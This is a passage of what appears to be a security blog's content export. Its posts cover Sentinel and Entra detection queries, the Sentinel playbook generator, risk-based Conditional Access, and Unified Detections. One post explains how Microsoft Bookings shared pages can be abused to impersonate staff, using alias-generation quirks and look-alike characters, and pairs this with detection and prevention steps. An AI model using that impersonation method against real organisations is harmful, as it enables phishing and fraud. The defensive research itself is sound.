parse_json(AuthenticationAppDeviceDetails) | extend AuthenticatorOperatingSystem = tostring(AuthenticationAppDetails.operatingSystem) | extend UsedAuthenticatorVersion = tostring(AuthenticationAppDetails.appVersion) // b2b and guest accounts include: {\"deviceId\":\"{PII Removed}\"} and no authenticator details | where isnotempty(UsedAuthenticatorVersion) | join kind=leftouter MinimumVersions on AuthenticatorOperatingSystem | extend isVulnerable = parse_version(UsedAuthenticatorVersion) \u003c parse_version(PatchedAuthenticatorVersion) | where isVulnerable | distinct UserPrincipalName, AuthenticatorOperatingSystem, UsedAuthenticatorVersion, isVulnerable The AuthenticationAppDeviceDetails (JSON) column itself consists of the following properties:\nappVersion clientApp deviceId operatingSystem The clientApp property is really helpful, as we now also have another option to identify users who use the Authenticator light capabilities, available as part of the Outlook app:\nSigninLogs | where isnotempty(AuthenticationAppDeviceDetails) | extend AuthenticationAppDetails = parse_json(AuthenticationAppDeviceDetails) | extend AuthenticationAppDetailsClientApp = tostring(AuthenticationAppDetails.clientApp) | where AuthenticationAppDetailsClientApp == \"Outlook\" | distinct UserPrincipalName, AuthenticationAppDetailsClientApp This might be relevant in your environment if you did not disable the Microsoft-managed setting for using the Authenticator light option, which, for example, does not support Conditional Access authentication strengths, passkeys, and app protection policies:\n","title":"Microsoft Authenticator App Details now exposed in Entra SignInLogs","type":"til"},{"content":"The Microsoft Sentinel SOAR playbook generator has mostly flown under the radar since it entered public preview, so let\u0026rsquo;s look at what it can do and whether it can replace Logic Apps with something more native. In SecOps conversations, I often hear the same view: Logic Apps are fine, but if you already script or code, they can feel like overhead rather than a productivity boost. Many MSSPs also rely on more flexible tooling such as Azure Functions or compiled code for incident automation.\nThe new Sentinel playbook generator feels more native for Defender XDR and Sentinel integration, and it adds AI on top. Let\u0026rsquo;s see whether that actually helps.\nPlaybook Generator in Action # You can find the playbook generator in the Unified Security Operations Platform (USOP) under the Sentinel automation blade, via the \u0026lsquo;Playbook Generator ✨\u0026rsquo; option.\nIt opens a Visual Studio Code or GitHub Codespaces-style editor with Cline preinstalled for building Python playbooks.\nCreating a playbook with natural language is straightforward. Cline uses a plan-and-act flow: you describe what you want, then it tests and builds the playbook.\nFor my initial tests, I used the following prompt:\nCreate a playbook that triggers on all alerts and performs entity enrichment. Extract the entities and perform lookups based on the entity type in Entra ID, Microsoft Azure or the VirusTotal API if it\u0026rsquo;s a public IP address. Attach the entity information as a comment.\nYou might wonder how the playbook will be able to accesses these APIs. The playbook generator uses integration profiles, and I added these three before creating the playbook:\nUnfortunately, there is no managed identity support, and you have to use app registrations with client secrets (which is considered a bad-practice).\nIgnoring that for a moment, this is how Cline started working on the architecture:\nIt also generated a Mermaid diagram.\nAfter a few iterations, Cline switched to act mode and tested the playbook with an alert ID from my Defender XDR environment. The generated playbook.py drove the whole flow, and the playbook worked:\nIt\u0026rsquo;s a neat way to build SOAR playbooks for Microsoft Sentinel. But the internals deserve a closer, more critical look.\nDecoding the Sandbox # The VS Code environment is based on a Microsoft-built kernel from the Linux stable branch, which is also used for WSL:\nRunning whoami shows that we\u0026rsquo;re coder, and sudo whoami gets us to root. Network access is limited to sandbox-reachable URLs, and the command line has no direct internet access.\nBoilerplate # The PlaybookInfrastructure class contains most of the wrappers, and main.py is pre-staged as soon as you create a new playbook.\nIntegrations # Within the playbook, the custom_api method handles integration access, and its signature only allows the HTTP verb, URI, and optional body:\ndef custom_api(method, url, body=None, timeout=120) -\u0026gt; Dict[str, Any] Authentication happens in the backend through the unifiedActions/triggerAction API endpoint. That endpoint sits behind a proxy exposed through an environment variable and commsConfig.json, and the proxy is only reachable from inside the sandbox.\nA closer look at the file system shows that the customerData folder contains:\nthe tenant configuration:\nand the integrations, listed by API URL and authentication type:\nSecurity Copilot Quota # While the preview does not bill SCUs, there is still a hidden capacity limit. I hit the following message while iterating through my playbook: If you do not have a dedicated Security Copilot workspace for AI-generated playbooks in the US or Europe, expect regional and quota-related limits during the preview.\nGuardrails # Microsoft ships the playbook generator with fixed rules and guardrails:\nLLM # Cline is configured to use GPT-5 through the Microsoft Security Copilot API: https://api.securitycopilot.microsoft.com:443/workspaces/SecurityCopilot_Workspace/openai/deployments/gpt5.\nStacktrace # On incidents and alerts, playbook interactions are visible through the SoarNL \u0026ldquo;Sentinel Playbook Generator\u0026rdquo; entity, which changed during the preview. The execution model still feels opaque. There are no run histories in the Defender XDR portal, aside from the API calls shown in incident Activities as RunPlaybook.\nTriggers # Currently, you cannot trigger a playbook manually, and recurrence-based triggers are not available. A native SOAR playbook requires an \u0026ldquo;Enhanced\u0026rdquo; automation rule: Human in the loop # You can edit the generated Python files, but Cline may overwrite your changes in the next act-mode iteration. Building the same playbook entirely on your own, for example in local Visual Studio Code with an SDK like Azure Functions, is currently not supported/possible (because of the API proxying model). Because you are rarely involved in the actual build process, troubleshooting could become difficult if the AI gets stuck in a loop.\nConclusion # I enjoyed the vibe-coding experience to build a Sentinel SOAR playbook, which also worked after revisiting the editor due to quota constraints. While this experience helps people with little to no Python experience, seasoned SOC automation engineers will lack the opportunity to author and test their own code, maybe with the help of AI but not entirely.\nFrom a capability perspective, I missed the following aspects:\nModern secrets management through federated credentials or managed identity Clear run history, for example in the action center The ability to run a playbook on demand The option to manually develop and maintain a playbook in Python or another scripting language Content distribution support, especially if MSSPs are expected to adopt this model Local development and testing support, or an SDK similar to the Azure Functions SDK So let\u0026rsquo;s see in which direction the Sentinel Playbook Generator evolves.\nReferences # https://cline.bot/ https://learn.microsoft.com/en-us/azure/sentinel/automation/generate-playbook https://techcommunity.microsoft.com/blog/microsoftsentinelblog/introducing-the-next-generation-of-soc-automation-sentinel-playbook-generator/4494438 ","date":"11 May 2026","externalUrl":null,"permalink":"/sentinel-native-soar/","section":"Posts","summary":"The Microsoft Sentinel SOAR playbook generator has mostly flown under the radar since it entered public preview, so let’s look at what it can do and whether it can replace Logic Apps with something more native. In SecOps conversations, I often hear the same view: Logic Apps are fine, but if you already script or code, they can feel like overhead rather than a productivity boost. Many MSSPs also rely on more flexible tooling such as Azure Functions or compiled code for incident automation.\nThe new Sentinel playbook generator feels more native for Defender XDR and Sentinel integration, and it adds AI on top. Let’s see whether that actually helps.\nPlaybook Generator in Action # You can find the playbook generator in the Unified Security Operations Platform (USOP) under the Sentinel automation blade, via the ‘Playbook Generator ✨’ option.\nIt opens a Visual Studio Code or GitHub Codespaces-style editor with Cline preinstalled for building Python playbooks.\nCreating a playbook with natural language is straightforward. Cline uses a plan-and-act flow: you describe what you want, then it tests and builds the playbook.\nFor my initial tests, I used the following prompt:\n","title":"Finally native SOAR in Sentinel?","type":"posts"},{"content":"","date":"11 May 2026","externalUrl":null,"permalink":"/tags/security-copilot/","section":"Tags","summary":"","title":"Security Copilot","type":"tags"},{"content":"","date":"11 May 2026","externalUrl":null,"permalink":"/tags/soar/","section":"Tags","summary":"","title":"SOAR","type":"tags"},{"content":"All too often, my baseVISION (IR) colleagues and I find compromised cloud accounts where many security \u0026lsquo;signals\u0026rsquo; were missed—both from a prevention and detection perspective. In this blog post, I want to share some motivation and tips to help you adopt Entra ID Protection risk-based Conditional Access policies to increase your tenant\u0026rsquo;s security posture, and ensure you don\u0026rsquo;t miss the next obvious account breach.\nReal-world motivation # Anyone who has seen an AiTM campaign in the wild will probably notice the following details from the Entra ID sign-in logs of a compromised account:\nResourceDisplayName: OfficeHome UserAgent: axios/1.13.2 The problem? Even though Entra ID Protection flagged the sign-in as \u0026lsquo;High\u0026rsquo; risk, the user could still sign in because MFA automatically remediated the sign-in risk (userPassedMfaDrivenByRiskBasedPolicy).\nThe bummer? # The environment had a Conditional Access policy in place that would have blocked users with high sign-in risk, but the policy was only in report-only mode, so the user could sign in without any issues.\nThe bigger bummer? # This is not a one-off case, but a pattern I see in many environments during assessments and investigations. Entra ID Protection is doing its job, but the right actions are not being taken to prevent the next breach. Often, Conditional Access administrators, Security Engineers, and SecOps teams are not aware of the \u0026lsquo;signals\u0026rsquo; and \u0026lsquo;actions\u0026rsquo; Entra ID Protection provides, or how to use them in their environment. Frequently, there is also fear of putting a policy in place that might block users and uncertainty about the impact.\nSo, in the next few minutes, I want to share some tips on how to collect evidence and gain confidence to implement the appropriate Entra ID Protection policies for your environment.\nEntra ID Protection 101 # Here are the key facts I usually highlight when talking about Entra ID Protection:\nCategory Sign-In Risk User-Risk Risk Description Risk detections for a particular sign-in session based on ASN, IP Address or other information. Risk detection for a user’s behavior or sign-in token activity, after authentication. Example Risk Detections Activity from anonymous IP address\nMalicious IP address\nImpossible travel\nUnfamiliar sign-in properties Anomalous Token (user)\nAttacker in the Middle\nLeaked credentials\nSuspicious API Traffic Conditional Access Self-Remediation Require fresh Microsoft Entra multifactor authentication / authentication strength Require a secure password change or prompt for re-authentication as part of \u0026lsquo;Require Risk Remediation\u0026rsquo; (for passwordless users) Possible Risk Levels None (Clear)\nLow\nMedium\nHigh None (Clear)\nLow\nMedium\nHigh What is not so obvious:\nBesides self-remediation, admin remediation options also exist, such as dismissing the user risk or issuing a temporary access pass for the end user in case of user risk. 1 Sign-in risk cannot be dismissed, as it is evaluated for each sign-in session individually. For Entra B2B guest accounts, the risk is evaluated in the user\u0026rsquo;s home tenant. Remediation also needs to happen in the home tenant.2 Sign-In Logs and the Risk Detections report are also available for non-Entra ID P2 / E5 customers with limited data (Entra Portal \u0026gt; ID Protection \u0026gt; Dashboard \u0026gt; Risk detection), making them a very helpful resource for incident response teams. Microsoft maintains a list of all risk detections3.\nEvidence Collection and Impact Analysis # Nevertheless if you already forward Entra ID protection alerts to Sentinel or Log Analytics, you can also use the built-in report to conduct an analysis of historical Entra ID protection alerts.\nLeverage Existing Evidence (Log Analytics / Sentinel) # If you have already connected your Entra ID tenant to an Azure Log Analytics (Sentinel-enabled) workspace via Diagnostic settings, you can use the following KQL query to get insights about the detections (AADUserRiskEvents) in your environment:\nlet RiskRanking = datatable (RiskLevel:string, RiskRank:int)[ \u0026#34;low\u0026#34;, 1, \u0026#34;medium\u0026#34;, 2, \u0026#34;high\u0026#34;, 3 ]; AADUserRiskEvents | where TimeGenerated \u0026gt; ago(90d) // CorrelationId is a unique GUID that ties together all the related sign-in events and authentication steps that belong to a single user sign-in attempt | summarize arg_max(TimeGenerated, *) by CorrelationId | summarize DistinctUserCount = dcount(UserPrincipalName), DetectionCount = count() //Users = make_set(UserPrincipalName) by RiskLevel, Activity, RiskEventType | join kind=leftouter RiskRanking on RiskLevel | sort by RiskRank, Activity desc | project-away RiskRank, RiskLevel1 The results reveal, only 85 distinct users had a user-risk or sign-in risk of high within the last 90 days:\nCollect Evidence about Recent Entra ID Protection Detections # If you don\u0026rsquo;t have the data in a Log Analytics workspace yet, you can also export the recent Entra ID Protection detections (90 days) from the Entra ID portal and analyze the data in Azure Data Explorer (ADX) or Excel. I prefer the ADX option because it handles large data sets and lookups from other sources very well.\nFrom the Entra Portal you can export the risk detection events as CSV:\nCreate a free Azure Data Explorer cluster (https://aka.ms/kustofree) and ingest the data to analyze it and get insights about the \u0026lsquo;signals\u0026rsquo; that Entra ID protection is providing in your environment.\nOptionally create a new database and select ingest:\nSelect \u0026lsquo;Ingest a local file\u0026rsquo; and specify the previously downloaded CSV:\nEt voilà—we have the CSV available. Because the column names contain a lot of spaces, let\u0026rsquo;s normalize them with KQL later.\nYou can use the following KQL query to get insights about the detections in your environment:\nUserDetections // Rename all Columns to Proper KQL refs | project-rename RequestId = [\u0026#39;Request ID\u0026#39;], CorrelationId = [\u0026#39;Correlation ID\u0026#39;], DetectionType = [\u0026#39;Detection type\u0026#39;], RiskState = [\u0026#39;Risk state\u0026#39;], RiskLevel = [\u0026#39;Risk level\u0026#39;], RiskDetail = [\u0026#39;Risk detail\u0026#39;], DetectionTiming = [\u0026#39;Detection timing\u0026#39;], ActivityTime = [\u0026#39;Activity time\u0026#39;], DetectionTime = [\u0026#39;Detection time\u0026#39;], DetectionLastUpdated = [\u0026#39;Detection last updated\u0026#39;], UserObjectId = [\u0026#39;User object ID\u0026#39;], IPAddress = [\u0026#39;IP address\u0026#39;] // Only get the most recent detection per CorrelationId // CorrelationId is a unique GUID that ties together all the related sign-in events and authentication steps that belong to a single user sign-in attempt | summarize arg_max(DetectionTime, *) by CorrelationId | summarize DistinctUserCount = dcount(User), DetectionCount = count(), Users = make_set(UPN) by RiskLevel, Activity, DetectionType Assess your Maturity and Risk Appetite # Some well-thought-out questions when designing Risk-Based Conditional Access Policies include aspects like:\nAre you enforcing managed and compliant devices for accessing Entra ID protected resources? If not, blocking high-risk sign-ins not originating from these would be a good starting point.\nHave you already adopted phishing-resistant authentication? If not, self-remediation of sign-in risk with MFA provides limited protection against AiTM phishing attacks, and you might want to block high sign-in risk.\nDo you want to allow end users to report suspicious activity? This is applicable if you use Microsoft Authenticator or telephone-based MFA. This setting is Microsoft-managed and currently disabled4; you might want to reassess whether you want to use it.5\nSecOps Capabilities: Do you have playbooks to investigate and triage users with high user risk, or will you simply block the user and let them chase down your helpdesk staff?\nBased on these considerations and the telemetry you collected about previous detections, you can plan and implement your risk-based Conditional Access Policies. My personal (opinionated) recommendation is still to block high user risk and sign-in risk. For most tenants, the telemetry confirms that this impacts only a small number of users. Furthermore, the security gain outweighs the fear of unintended account lockouts.\n⚠️ Before enabling any policies based on your Conditional Access processes, make sure to investigate and dismiss any open user-risk\u0026rsquo;s (Entra Portal \u0026gt; ID Protection \u0026gt; Risky Users).\nTEST! # To prove that the policies actually work, you can test the case of user risk by either marking the user as compromised in Defender XDR or reporting suspicious activity via the Authenticator App.\nDefender XDR automatically detects any CA policies targeting User-Risk and includes them in the context, indicating how the user will be affected:\nTo simulate sign-in risk, you can try to raise it using IP address anonymization services or the Tor browser.\nConclusion # Entra ID Protection policies in enforcement mode can be scary to implement, but with the right evidence collection and impact analysis, you can gain confidence to put the right policies in place, increase your Entra ID tenant\u0026rsquo;s security posture, and reduce backpressure on your SecOps team because you can block the sign-in of your next compromised account automatically.\nKey takeaway: Collect evidence, analyze your environment, and move your Risk-Based Conditional Access policies from report-only to enforcement mode to proactively stop account breaches.\nBonus # Emails # Entra ID Protection alerts come with default email notifications for user risk events and selected Entra ID roles. You can add your custom email address, e.g., a ticket system if necessary. The setting is found under: Entra Portal \u0026gt; ID Protection \u0026gt; Settings \u0026gt; Users at risk detected alerts:\nAnd if you do not like getting these weekly digest emails about Entra ID Protection:\nYou can find the option to disable them under: Entra Portal \u0026gt; ID Protection \u0026gt; Settings \u0026gt; Weekly digest.\nWorkload Identities # You can use the same approach for your Workload Identities if you have the necessary add-on licenses, to protect your crown jewel service principals:\nMicrosoft Learn: Manual Risk Remediation.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nWhat is Microsoft Entra ID Protection?.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nMicrosoft Entra ID Protection risk detections.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nMicrosoft-managed settings in Microsoft Entra ID.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nConfigure Microsoft Entra multifactor authentication settings.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\n","date":"22 March 2026","externalUrl":null,"permalink":"/entra-id-protection-stop-account-breach/","section":"Posts","summary":"All too often, my baseVISION (IR) colleagues and I find compromised cloud accounts where many security ‘signals’ were missed—both from a prevention and detection perspective. In this blog post, I want to share some motivation and tips to help you adopt Entra ID Protection risk-based Conditional Access policies to increase your tenant’s security posture, and ensure you don’t miss the next obvious account breach.\nReal-world motivation # Anyone who has seen an AiTM campaign in the wild will probably notice the following details from the Entra ID sign-in logs of a compromised account:\nResourceDisplayName: OfficeHome UserAgent: axios/1.13.2 The problem? Even though Entra ID Protection flagged the sign-in as ‘High’ risk, the user could still sign in because MFA automatically remediated the sign-in risk (userPassedMfaDrivenByRiskBasedPolicy).\nThe bummer? # The environment had a Conditional Access policy in place that would have blocked users with high sign-in risk, but the policy was only in report-only mode, so the user could sign in without any issues.\n","title":"Don't let Entra ID Protection miss your next breach!","type":"posts"},{"content":"","date":"22 March 2026","externalUrl":null,"permalink":"/tags/ir/","section":"Tags","summary":"","title":"IR","type":"tags"},{"content":"","date":"22 March 2026","externalUrl":null,"permalink":"/tags/itdr/","section":"Tags","summary":"","title":"ITDR","type":"tags"},{"content":"","date":"22 March 2026","externalUrl":null,"permalink":"/tags/secops/","section":"Tags","summary":"","title":"SecOps","type":"tags"},{"content":"Recently I observed an interesting behavior after setting up a Microsoft Booking page. After creating the booking page, I suddenly got an e-mail to an automatically created mail alias with the same name as the booking page. This made me curious and I wanted to understand the behavior behind this, and if this could be abused by attackers to impersonate users in Exchange online. In this blog post, I want to share my findings and some tips on how to detect and prevent this kind of abuse in your environment.\nMicrosoft Booking # Microsoft describes the Bookings capabilities as part of Microsoft 365:\n\u0026ldquo;A simpler way to organize schedules and manage appointments.\u0026rdquo;\nBooking pages can be either of type \u0026lsquo;personal\u0026rsquo; or \u0026lsquo;shared\u0026rsquo;:\nPersonal booking pages provide a handy option for users to create their own booking page, which is automatically linked to their calendar and allows others to book appointments with them. This is a great feature for users who want to share their availability and allow others to easily schedule meetings.\nThe shared booking pages allow teams to provide a booking experience for services hosted by a team and come with a special mailbox and calendar.\nWhen creating a shared booking page, we already get a glimpse of the underlying behavior, as we have to provide a name for the booking page, which also determines the mail alias and reply-to address for the automatically created mailbox for the booking page:\nSo because of this e-mail generation behavior, let\u0026rsquo;s have a closer look at the \u0026lsquo;shared\u0026rsquo; booking page type and how this can be abused by attackers to impersonate users in the organization.\nReverse Engineering the E-mail generation # To understand the behavior of the e-mail generation for the booking page, I created multiple booking pages with different names and observed the generated e-mails. Below is a table with the different booking page names I used and the corresponding generated e-mails:\nBooking Page Name Reply To Address (lowercase) Mail Alias (lowercase) nicoIa.suter nicoiasuter@contoso.com nicoiasuter nicola..suter nicolasuter@contoso.com nicolasuter nicola\\.suter nicolasuter@contoso.com nicolasuter .nicola.suter nicolasuter@contoso.com nicolasuter .nicola..suter nicolasuter@contoso.com nicolasuter .nicola...suter nicolasuter@contoso.com nicolasuter nicola_suter nicola_suter@contoso.com nicola_suter This reveals the following aspects about the e-mail generation for the booking page:\nDots are removed for all above cases, including subsequent dots and escaped dots Underscores are not removed If an SMTP address already exists, a number is added at the end of the mail alias and reply-to address (e.g. johndoe1@contoso.com) Cyrillic characters are stripped from the e-mail address and alias So depending on an organization\u0026rsquo;s naming for e-mails, it can be easier or harder to impersonate users.\nImpersonation Opportunities # \u0026lsquo;Ideal\u0026rsquo; impersonation cases from an e-mail address format are:\njdoe@contoso.com (first letter of the first name and full last name) john_doe@contoso.com (full first name and last name with underscore) johndoe@contoso.com (full first name and last name) And from a recipient name perspective, we can leverage \u0026rsquo;traditional\u0026rsquo; character substitutions to create similar-looking recipient addresses, such as:\nReal Fake l (lowercase L) I (uppercase i) O 0 rn m vv w cl d Exchange Online Mailbox Behavior # When using the ExchangeOnlineManagement PowerShell module to look for the created mailboxes for the booking pages, we can also see that the RecipientTypeDetails property is set to SchedulingMailbox and that the creator of the booking page is added as the ForwardingSmtpAddress property of the mailbox:\nDetect Creation of Shared Booking Pages with Defender for Cloud Apps # You can use the following KQL query to detect the creation of shared booking pages in your environment based on Defender for Cloud Apps:\nCloudAppEvents | where ActionType == @\u0026#34;New-SchedulingMailbox\u0026#34; | mv-apply Item = ActivityObjects on ( summarize BookingPageName = take_anyif(Item.Value, Item.Name == \u0026#34;Name\u0026#34;), BookingPageDisplayName = take_anyif(Item.Value, Item.Name == \u0026#34;DisplayName\u0026#34;), ReplyToAddress = tolower(tostring(take_anyif(Item.Value, Item.Name == \u0026#34;ReplyToAddress\u0026#34;))), WindowsLiveID = tolower(tostring(take_anyif(Item.Value, Item.Name == \u0026#34;WindowsLiveID\u0026#34;))), MailAlias = tolower(tostring(take_anyif(Item.Value, Item.Name == \u0026#34;Alias\u0026#34;))) ) Impersonation Attack Scenario # Impersonating a user in the organization becomes very easy, as an attacker can simply send e-mails from the generated booking page mailbox, which will have the same display name and a similar e-mail address as the user they want to impersonate.\nHere an example of a \u0026rsquo;legitimate\u0026rsquo; e-mail sent from the booking page mailbox and a \u0026rsquo;lure\u0026rsquo; e-mail sent by an attacker impersonating a user in the organization:\nDid you spot the OAuth abuse with the prompt=noneparameter? 🙃\nDetection Opportunities # If you have Defender for Office in place as well, you can even search for e-mails that originated from recently created booking pages by joining the EmailEvents table.\n// Find E-Mails Sent by Shared Booking Pages let SharedBookingPages = CloudAppEvents | where ActionType == @\u0026#34;New-SchedulingMailbox\u0026#34; | mv-apply Item = ActivityObjects on ( summarize BookingPageName = take_anyif(Item.Value, Item.Name == \u0026#34;Name\u0026#34;), BookingPageDisplayName = take_anyif(Item.Value, Item.Name == \u0026#34;DisplayName\u0026#34;), ReplyToAddress = tolower(tostring(take_anyif(Item.Value, Item.Name == \u0026#34;ReplyToAddress\u0026#34;))), WindowsLiveID = tolower(tostring(take_anyif(Item.Value, Item.Name == \u0026#34;WindowsLiveID\u0026#34;))), MailAlias = tolower(tostring(take_anyif(Item.Value, Item.Name == \u0026#34;Alias\u0026#34;))) ); EmailEvents | join kind=inner SharedBookingPages on $left.SenderFromAddress == $right.WindowsLiveID | project-rename EmailEventTimeGenerated = TimeGenerated1 | project EmailEventTimeGenerated, SenderFromAddress, RecipientEmailAddress, Subject, EmailDirection, DeliveryAction Preventing Abuse of Shared Booking Pages # Microsoft provides the option to disable the creation of shared booking pages in the Microsoft 365 admin center (the \u0026ldquo;Allow your organization to use Bookings\u0026rdquo; setting). By disabling this feature, you can prevent attackers from creating shared booking pages and impersonating users in your organization.\nAlternatively, you can also use the Exchange Online PowerShell module to disable or check the creation of shared booking pages with the following command:\nSet-OrganizationConfig -BookingsEnabled $false This does not affect personal booking pages, which can still be created by users. Furthermore, there\u0026rsquo;s also the option to only allow specific groups to create shared booking pages, which can be a good option for organizations that want to allow certain teams to use this feature. Additional information is available in the Microsoft documentation: https://learn.microsoft.com/en-us/microsoft-365/bookings/turn-bookings-on-or-off\nConclusion # I assume that, similar to myself, a lot of organizations are not aware of the impersonation risk that comes with the shared booking page feature, and that this can easily be abused by attackers to impersonate users in the organization. Therefore, I recommend organizations to review their use of Microsoft Booking and consider disabling the creation of shared booking pages if they are not needed. Otherwise, organizations should monitor for the creation of shared booking pages and any e-mails sent from these pages to detect any potential abuse.\nP.S.: While working on this post I found out that cyberis already published a blog post about this topic, which you can find here: https://www.cyberis.com/article/microsoft-bookings-facilitating-impersonation.\n","date":"18 March 2026","externalUrl":null,"permalink":"/microsoft-booking-phish/","section":"Posts","summary":"Recently I observed an interesting behavior after setting up a Microsoft Booking page. After creating the booking page, I suddenly got an e-mail to an automatically created mail alias with the same name as the booking page. This made me curious and I wanted to understand the behavior behind this, and if this could be abused by attackers to impersonate users in Exchange online. In this blog post, I want to share my findings and some tips on how to detect and prevent this kind of abuse in your environment.\nMicrosoft Booking # Microsoft describes the Bookings capabilities as part of Microsoft 365:\n“A simpler way to organize schedules and manage appointments.”\nBooking pages can be either of type ‘personal’ or ‘shared’:\nPersonal booking pages provide a handy option for users to create their own booking page, which is automatically linked to their calendar and allows others to book appointments with them. This is a great feature for users who want to share their availability and allow others to easily schedule meetings.\nThe shared booking pages allow teams to provide a booking experience for services hosted by a team and come with a special mailbox and calendar.\n","title":"CEO impersonation with Microsoft Booking","type":"posts"},{"content":"","date":"18 March 2026","externalUrl":null,"permalink":"/tags/exchange/","section":"Tags","summary":"","title":"Exchange","type":"tags"},{"content":"","date":"18 March 2026","externalUrl":null,"permalink":"/tags/m365/","section":"Tags","summary":"","title":"M365","type":"tags"},{"content":"","date":"24 February 2026","externalUrl":null,"permalink":"/tags/data-lake/","section":"Tags","summary":"","title":"Data Lake","type":"tags"},{"content":"","date":"24 February 2026","externalUrl":null,"permalink":"/tags/defender/","section":"Tags","summary":"","title":"Defender","type":"tags"},{"content":"With the Unified Security Operations Platform (USOP), Microsoft introduces Unified Detections - a single detection framework spanning both Sentinel and Defender XDR data. Pair this with native Sentinel Data Lake ingestion for XDR tables, and you have a compelling cost-optimization story. But is it ready for prime time? Let\u0026rsquo;s dive into the capabilities, current limitations, and what it means for your detection strategy.\nArchitecture Overview # Previous Detection Architecture # In the \u0026lsquo;previous\u0026rsquo; architecture, detections were created and managed separately for Microsoft Sentinel and Microsoft Defender XDR. This often led to overhead in terms of \u0026lsquo;where to create the detection\u0026rsquo;. Let\u0026rsquo;s take the use-case of IoC (Indicators of Compromise) based detections. Previously, if a security team wanted to create a detection based on IoCs imported via TAXII into Sentinel and the DeviceNetworkEvents table, they would need to ingest the DeviceNetworkEvents data into Sentinel as well and create the detection rule there. Furthermore, many MSSPs leveraged this pattern to create custom detections for their customers across Defender Advanced Hunting Data.\nAs part of the USOP onboarding, the following effects come into play, marked with an asterisk above:\n* The Microsoft Defender XDR data connector is enabled automatically (for incident synchronization) if you onboard your Microsoft Sentinel workspace to Defender XDR (USOP).\n** Defender XDR performs the correlation of incidents and alerts. (Prior to USOP this was Microsoft Sentinel)\nNew Unified Detection Architecture # With the introduction of Unified Detections, security teams can now create detections that work seamlessly across both Microsoft Sentinel and Microsoft Defender XDR. This unified approach simplifies rule management, ensures consistency in detection logic and provides native response capabilities to take actions on devices, files, users, or emails. Furthermore, we can combine this with the new Sentinel Data Lake in terms of data retention for defender advanced hunting data.\nBut are these capabilities enough to replace existing Sentinel Analytics rules? Should you consider migrating all your existing detection rules to Unified Detections? Let\u0026rsquo;s take a closer look.\nUnified Detections Dismantled # New Default Behavior in USOP # When working in USOP and want to move from an advanced hunting query to a detection, you will be prompted to create a Unified Detection by default:\nIf this option is greyed out, despite your workspace being onboarded to USOP, this is mostly due to missing RBAC permissions, because for unified detections querying Sentinel and Defender XDR data, you need to have permissions1 on both sides.\nSentinel Contributor (Azure RBAC) Security Operator (Entra ID) and the \u0026lsquo;Security settings (manage)\u0026rsquo; (Defender XDR RBAC) Permissions And you\u0026rsquo;ll be greeted by the Unified Detection creation experience:\nFeature Comparison # If we consult the official documentation2 and compare the features, we currently see that some of the capabilities are not yet available for Unified Detections, while others are planned for future releases. Below is a summary of the current status of various capabilities comparing Sentinel Analytics rules and Defender XDR Unified Detections:\nCapability Status Custom detections Planned Link multiple MITRE tactics Planned Support full list of MITRE techniques and subtechniques Planned Define all alerts properties dynamically - Integrate query results in runtime Planned Near-real-time (NRT) rules on Sentinel data Available (See notes below!) Determine rule\u0026rsquo;s first run Not supported Sentinel automation rules with incident trigger Planned Sentinel automation rules with alert trigger Planned Rules health logs available in advanced hunting Planned Customize alert grouping logic Not supported Choose between all events under one alert and one alert per event Not supported Exclude incidents from correlation engine - Ensure that incidents from different rules remain separated Planned Create alerts without incidents Not supported Alerts suppression - Define alert suppression after the rule runs Not supported Rerun rule on demand on a previous time window Planned Health and quality workbooks Planned Integration with Sentinel repositories Planned Bicep support Planned Create rules from content hub Planned Create custom detections on any workspaces onboarded to Defender Planned Cross workspaces detection using the workspace operator Planned Rule simulation from the rule\u0026rsquo;s wizard Planned Below we will discuss some of the key differences and limitations, which I believe are important to consider when evaluating the use of Unified Detections for your security operations.\nAPIs # Whilst this might be obvious, it\u0026rsquo;s worth mentioning that Sentinel Analytics rules and Defender XDR Unified Detections use different API endpoints for creation and management, referring to Azure and the ARM (Azure Resource Manager) API and Defender XDR and the Microsoft Graph Security API respectively.\nAzure Resource Manager (ARM): PUT https://management.azure.com/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.OperationalInsights/workspaces/{workspaceName}/providers/Microsoft.SecurityInsights/alertRules?api-version=2025-09-01\nMicrosoft Graph Security: https://graph.microsoft.com/beta/security/rules/detectionRules\nThis results in different schemas for payloads, permissions for API calls and potential changes to existing automation and deployment pipelines for Sentinel Analytics rules if you decide to migrate to Unified Detections.\nScheduling # Microsoft Sentinel uses a scheduling mechanism to run detection rules at specified intervals. This allows for timely detection of threats based on the latest data ingested into the Sentinel workspace. An important topic is to consider scheduling frequency in terms of ingestion delay from different data connectors and sources. By default, Sentinel Analytics rules filter data based on the TimeGenerated field, which represents the time when the event was generated. This means that if there is a delay in data ingestion, the rule may not capture all relevant events within the specified time window. Scheduling with a longer lookback period and filtering based on the ingestion_time() property can help mitigate this issue, while introducing potential duplicate alerts.\nFor Defender XDR Unified Detections, Microsoft defined default scheduling- and lookback intervals and uses integrated logic to deduplicate alerts based on alert properties. Besides that, we can also define custom scheduling for Sentinel data (minutes, hours, days), but the lookback is defined by Defender XDR:\nFrequency (Schedule) Lookback Window Every hour 4 hours Every 3 hours 12 hours Every 12 hours 48 hours Every day 30 days The rule is quite simple, for schedules below a day, a factor of 4 is applied to determine the lookback window, while for schedules above a day, a fixed lookback of 30 days is applied3.\nI\u0026rsquo;m curious to see how security teams will adopt the new built-in schedules and whether they will stick to the default lookback windows, as within the Sentinel side low frequency rules without proper ingestion_time() filtering often had issues with data ingestion delays. What I really like is the option to go beyond the 14 days lookback limit for Sentinel Analytics rules, especially for retrospective detections, such as the ones based on IoCs, which often require a longer lookback to be effective.\nNRT Rules # Near-real-time (NRT) rules on Sentinel data circumvent the ingestion delay issue by running the detection logic as soon as new data is ingested into the Sentinel workspace, as we do not have any references to TimeGenerated or Timestamp fields in the rule\u0026rsquo;s query. But this also comes with \u0026lsquo;some\u0026rsquo; limitations, which need to be taken into account when using NRT rules on Sentinel data:\nCurrently only a subset of documented tables are supported for continuous NRT frequency.\nNRT rules do not support the full KQL language:\nNRT rules fail, if the entity mapping references empty values / columns:\nEspecially the rule execution failure on empty entity mapping is a critical point to consider, as this can lead to missed detections if not monitored closely.\nAuditing and Health Monitoring # While Microsoft Sentinel provides SentinelHealth and SentinelAudit tables to monitor the health and audit logs of detection rules, Defender XDR misses this capability for the health of detections. A bit of information is already surfaced 